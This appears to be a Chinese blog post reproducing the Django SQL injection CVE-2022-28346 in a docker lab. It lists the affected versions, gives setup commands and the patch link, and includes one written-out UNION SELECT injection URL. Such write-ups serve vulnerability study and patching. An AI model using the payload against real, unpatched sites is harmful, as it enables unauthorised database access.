当前位置:网站首页>CVE-2022-28346:Django SQL注入漏洞
CVE-2022-28346:Django SQL注入漏洞
2022-07-07 22:52:00 【yggcwhat】
0x01 简介
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
0x02 漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
0x03 影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 环境搭建
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 漏洞复现
通过报错页面可以发现存在哪些接口

访问接口如果存在传参,同样会提示报错信息

使用报错提示的参数进行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 修复方式
官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/
边栏推荐
- How does starfish OS enable the value of SFO in the fourth phase of SFO destruction?
- Is it safe to open an account on the official website of Huatai Securities?
- 韦东山第二期课程内容概要
- Flask learning record 000: error summary
- 52岁的周鸿祎,还年轻吗?
- SQL knowledge summary 004: Postgres terminal command summary
- SDNU_ACM_ICPC_2022_Summer_Practice(1~2)
- Relevant methods of sorting arrays in JS (if you want to understand arrays, it's enough to read this article)
- QT establish signal slots between different classes and transfer parameters
- fabulous! How does idea open multiple projects in a single window?
猜你喜欢

paddle一个由三个卷积层组成的网络完成cifar10数据集的图像分类任务

v-for遍历元素样式失效

RPA cloud computer, let RPA out of the box with unlimited computing power?

Reentrantlock fair lock source code Chapter 0
![[programming problem] [scratch Level 2] 2019.09 make bat Challenge Game](/img/81/c84432a7d7c2fe8ef377d8c13991d6.png)
[programming problem] [scratch Level 2] 2019.09 make bat Challenge Game

Smart regulation enters the market, where will meituan and other Internet service platforms go

《因果性Causality》教程,哥本哈根大学Jonas Peters讲授

他们齐聚 2022 ECUG Con,只为「中国技术力量」

QT adds resource files, adds icons for qaction, establishes signal slot functions, and implements

Where is the big data open source project, one-stop fully automated full life cycle operation and maintenance steward Chengying (background)?
随机推荐
1293_FreeRTOS中xTaskResumeAll()接口的实现分析
【obs】官方是配置USE_GPU_PRIORITY 效果为TRUE的
Sqlite数据库存储目录结构邻接表的实现2-目录树的构建
攻防演练中沙盘推演的4个阶段
How to learn a new technology (programming language)
ReentrantLock 公平锁源码 第0篇
They gathered at the 2022 ecug con just for "China's technological power"
动态库基本原理和使用方法,-fPIC 选项的来龙去脉
52歲的周鴻禕,還年輕嗎?
Cascade-LSTM: A Tree-Structured Neural Classifier for Detecting Misinformation Cascades(KDD20)
3年经验,面试测试岗20K都拿不到了吗?这么坑?
某马旅游网站开发(登录注册退出功能的实现)
Handwriting a simulated reentrantlock
[研发人员必备]paddle 如何制作自己的数据集,并显示。
Qt添加资源文件,为QAction添加图标,建立信号槽函数并实现
商品的设计等整个生命周期,都可以将其纳入到产业互联网的范畴内
【愚公系列】2022年7月 Go教学课程 006-自动推导类型和输入输出
Hotel
【obs】Impossible to find entrance point CreateDirect3D11DeviceFromDXGIDevice
玩转Sonar